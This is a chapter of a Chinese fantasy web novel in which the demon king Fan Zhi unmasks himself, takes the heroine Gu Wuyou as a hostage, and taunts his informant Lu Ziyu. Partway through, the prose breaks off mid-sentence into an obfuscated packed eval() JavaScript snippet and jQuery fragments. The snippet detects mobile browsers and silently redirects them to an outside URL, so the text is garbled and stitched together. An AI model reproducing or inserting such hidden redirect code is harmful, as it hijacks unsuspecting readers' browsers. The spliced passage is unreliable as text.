35. 请君入瓮

作品:《混乱乐子人穿成反派后

    被人以捕获猎物般的眼神注视,顾无忧轻挑了下眉尾。


    她盯着对方:“你是谁?”


    林爻伸手,意图推开紧贴脖颈的刀刃,答非所问:“其实,对我,你们还是能够觉察出一丝端倪的,对不对?”


    “只是,因为不确定,所以一直在等。没想到我会这么快出招吧?唉,真可惜。”


    林爻使力,推拒刀刃。


    但没有靳恒越的命令,妖卒彼此对视,均不敢退让。


    于是,就这样微妙地僵持一会儿,林爻的笑容渐冷,耐心告罄。


    “……既如此,那就睁大你们的眼睛,好好看清楚,我是谁。”


    他的指尖点眉心,如同裁纸,沿下划出一道开口。


    刹那间,覆脸假面似花瓣般枯萎凋零,转瞬碾为晶莹尘屑,逸散消逝于虚空——


    林爻原本清隽的眉目倏然褪去温和,五官变得妖冶深邃,美得极富攻击性。


    他微微眯眼,水绿眸光因而狭长,映衬眼尾刻意勾画的绯红,映衬披散身后微卷的长发,竟愈显艳绝。


    众人相顾无言,不约而同在此刻噤声。


    唯独靳恒越表情变幻莫测。


    他率先行礼,毕恭毕敬喊了林爻一声:“陛下。”


    妖卒听闻,齐齐惶恐退去,纷纷跪伏。


    琦瑰国唯一的陛下,除了樊枝,还能有谁?


    没人再敢提捉拿他的事情。


    伏惑握紧刀柄:“你到底想做什么?”


    “我想做什么?”


    樊枝语调怪异地重复一遍伏惑的问题,随即凉凉刻薄道,“我挺想让你死。毕竟,这里不是你们龙族的后花园,想来就来。”


    说至此处,他的神色又蓦地由阴转晴,堪称变脸如翻书。


    “不过,我其实今日心情不错,想来或许可以特别对你网开一面。”


    “当然,有得必有失。想暂时安然无恙逃走,没那么轻松,需付出一点儿代价。”


    樊枝朝向顾无忧,轻快补充,“不如就让你身边那位神女大人,替你留下来吧?”


    啊?


    顾无忧稍稍蹙眉。


    这又是樊枝的哪一路招数?分离她和伏惑吗?


    如果樊枝视他们为隐患,不该干脆除之后快?何必在这里多费口舌?


    ……不管为何,樊枝不像妄图杀了她的样子。


    要不要顺水推舟,试一试?


    强忍身体不适,顾无忧陷入沉默。


    她当真在考虑。


    伏惑却攥着顾无忧的手腕,下意识地往自己身后带,替她拒绝:“犯不着。”


    “哈哈哈真的吗?不如再想想呢?”


    樊枝指节弯曲,抵于下颌。


    他半是好笑半是嘲弄,特意为伏惑点出要害,“中了降厄蝶的鳞粉,你觉得你能强撑多久?以你的修为,我想最多七天吧。”


    他的唇瓣一张一合,隐约可见犬牙尖锐的弧度:“你会成为她的累赘。到时候,就算她对你大发善心,你也再无法跟随她。”


    “……呵。”


    怒气惹得伏惑的瞳孔变了形状。


    他略一偏头,鎏金色泽随之绷成一段笔直明亮的韧线,撕裂白昼远空。


    他严肃的注视更像不屑的睥睨,“既然如此,在我成为累赘之前,先解决你不就好了?”


    伏惑拨转刀锋。


    靳恒越见状,亦默默执重剑,挡在樊枝面前。他隶属妖国,理应心向君主。


    两边蓄势待发。


    顾无忧打定主意,手疾眼快扯住伏惑:“等下,我留。”


    伏惑一顿,尚且连顾无忧主动牵他的手都反应不过来,即刻讶然回头,不可置信:“你说什么?”


    “我说,我留下来,伏惑。”顾无忧认真与他对视,掷地有声,“我想留下来!”


    伏惑对她此举颇不赞同:“顾无忧,你要知道,我们的时间还有很多,根本不急于这一时半刻。”


    “是啊,我不急,我能等。”


    顾无忧弯下眉眼,虚弱苍白的面颊泛起不正常的红晕,开口一针见血道,“但是,伏惑,你能等吗?”


    她指的,自然是伏惑那具已经被毒蝶鳞粉污染的躯壳。


    “……”伏惑张了张嘴,一时间不知道该找怎样的理由,“总会有其他办法。”


    “其他办法?什么样的办法?你答不上来?所以你其实完全不知道对不对?不然,龙渊不会疲于应付妖国。”


    顾无忧咄咄逼人、步步紧逼,“难道你想放任?想慢慢变成没有理智的怪物,调转刀尖对准龙渊吗?”


    伏惑无言以对。


    在旁观赏的樊枝倒是笑逐颜开,他轻飘飘捋了捋垂落的鬓发:“翻来覆去依旧想不明白吗?神女大人可比你更懂见机而行。”


    樊枝幽幽猜测:“抑或者……狗绳栓得太久,一旦突然撤掉,会让你产生被抛弃的不甘心?”


    不得不说,樊枝讲话真的很难听。


    而与之性格大相径庭的伏惑,平常言辞同样附赠尖刺。


    按照以往,他会回嘴。


    然而伏惑此时此刻的反应异乎寻常,他对樊枝的奚落充耳不闻,只平静应顾无忧:“……我知道了,你去吧。”


    顾无忧喜上眉梢:“嗯。”


    她将右手从伏惑的掌心里抽出,再无犹豫,拖着沉重的步伐,一步一步迈向樊枝。


    伏惑还保持着抓握的姿态,指节蜷曲,虚虚环住一截贯通指缝的热风。


    待顾无忧走出两步远,他才回过神来,捏紧空落落的掌心。


    伏惑未送刀入鞘,而是反手挽过刀柄,将刀刃隐在臂膀之后。


    如此一来,若途中敌人出尔反尔,对顾无忧发难,他似乎也能及时反击。


    顾无忧没有回头。


    她只觉四肢百骸的力气在流失。


    烈日倾轧,撞击所剩无几的清晰理智。


    她许是快坚持不住了。


    倏忽,一句夹杂叹息的低语乘风,自身后钻入耳中:“你和他想法一样吗……认为我是累赘?”


    顾无忧心头一跳,她勉强侧过半张脸,刚嗫嚅嘴唇想要说点儿什么,眼前陡然一黑——


    她失去重心,直直栽倒。


    “?!”伏惑正要上前,一柄重剑不留情面落地,拦下了他。


    剑身锃亮如镜,清晰地倒映出伏惑急剧冷峻的眸底。


    显而易见,主人平日极爱护他的武器,保养得一丝不苟。


    靳恒越本人行事作风确是如此。


    但他尚能对伏惑保持客气、态度和缓:“抱歉,阁下,请您止步。您的同伴将不会有任何事。”


    与此同时,樊枝扶住顾无忧的肩膀,暂时由她软绵绵的身体借力倚靠。


    当然,面对伏惑节节暴涨的杀意,樊枝也不会坐视不理。


    他故意掐向顾无忧那脆弱纤瘦的脖颈,直接威逼对方:“你还不打算滚吗?”


    所有目光齐聚。


    气氛凝滞半晌。


    迫不得已,伏惑缓缓后退。


    *


    樊枝举步向前。


    穿越根根立柱笔挺的倒影,终于,他在走廊尽头的拐角处,找到一个熟悉的人形。


    夕阳散布着死气沉沉的余热,引导那人不自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468702|183267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉紧扣轮椅扶手,其豆大的汗珠慢慢淌下额角。


    不过,他的焦躁与坐立不安,也许并非单纯因为尚未消散的白昼暑气。


    樊枝唤他全名:“路子煜。”


    路子煜愕然回头,看清来者:“是你?你回来了?你……!”


    他有太多想要追问的事情,可无数话语梗在喉头,鼓点般密集,敲击他七上八下的心脏,震耳欲聋。


    观其表情,樊枝清楚他最想知道什么,于是神秘兮兮地卖关子:“别着急,不如先猜猜看,此次一行,我带回了谁?”


    “……谁?白龙?还是……?”路子煜有种不好的预感。


    樊枝粲然一笑,往旁边让开两步——


    原本默不作声跟在后方的靳恒越,猝不及防与路子煜对视,一时间眸底闪过手足无措的慌乱。


    然而,怕殃及臂弯中正当托举的少女,靳恒越不敢莽撞收手,只得保持恭谦神态,朝路子煜点头,礼貌致意。


    路子煜的注意力却全然不在于靳恒越。


    他睁大眼睛,凝向对方怀里紧闭双眼、了无生气的顾无忧:“天道大人?!”


    路子煜转而质问樊枝:“你们对她做了什么?”


    熟悉的问题,熟悉的口吻。


    樊枝心底纳罕,不甚在意道:“还能做什么,有意阻挠我的人,自然让她安乐离世了啊。这是我最后的仁慈。”


    “你?!”


    耳畔嗡鸣一阵,路子煜怒火中烧,居然大力扯上樊枝的衣角,“你和我约定过的,你说你不会伤她!你宁愿承受约定的反噬,也硬要逆天而行不可吗?!”


    难得见到路子煜如此情绪激动的模样。


    恨不得与他不死不休似的。


    “……啧。”


    话说回来……路子煜真的敢死吗?


    樊枝嫌他麻烦,拂开抓挠上来的双手,冷声道,“行了,我开玩笑,我没动她!”


    路子煜这才冷静两分,理智回归:“……那她现在怎么不省人事?”


    樊枝抬眼瞅瞅天边落日,无奈解释:“长途赶路过于疲惫,再加上妖国的炎暑,不省人事很正常。凡人的体魄就是这么弱,休养一阵就好了。”


    路子煜缄口无言,他肩膀顿松,呼出一口气:“……”


    樊枝不解地嗤笑:“你和那条龙简直一个德性,这么紧张她?”


    路子煜扶额,用喑哑的嗓音强调再三:“我说过,她是天道……要知道,因为她,黄泉境已经改天换地了。”


    “哦?”


    樊枝略微俯身,直勾勾逼视他,“那向我出卖她情报的时候,怎么没见你有这么大的脾气?”


    路子煜暗自咬牙,他答不上来。


    “果然还是因为害怕,既要又要?既想装作乖巧,塑造在天道心目中的无害形象,又想在琦瑰国求得理所当然的栖身之所?”


    樊枝轻言细语,后半句却犹似充斥森森鬼气,凿骨噬心,“路子煜,你自己不觉得可笑吗?”


    路子煜苦笑点头,只有心无力地反驳:“栖身之所?这里哪有我身为丧家犬的栖身之所?你不过把我当成一个傀儡而已。”


    “为求活命,我已经最大程度听从你的安排,还要我如何?”


    被这般直接戳破,樊枝也不以为意:“你挺有自知之明啊。那就好好记住,在你还有用的时候,尽力表现吧。”


    樊枝随意摆摆手,挥退两人,不想继续无意义的争执:“我乏了。把她安置一下,顺便,多找几个人‘看顾’她。”


    靳恒越应道:“是。”


    路子煜一言不发。


    他静坐原地,眸色阴沉。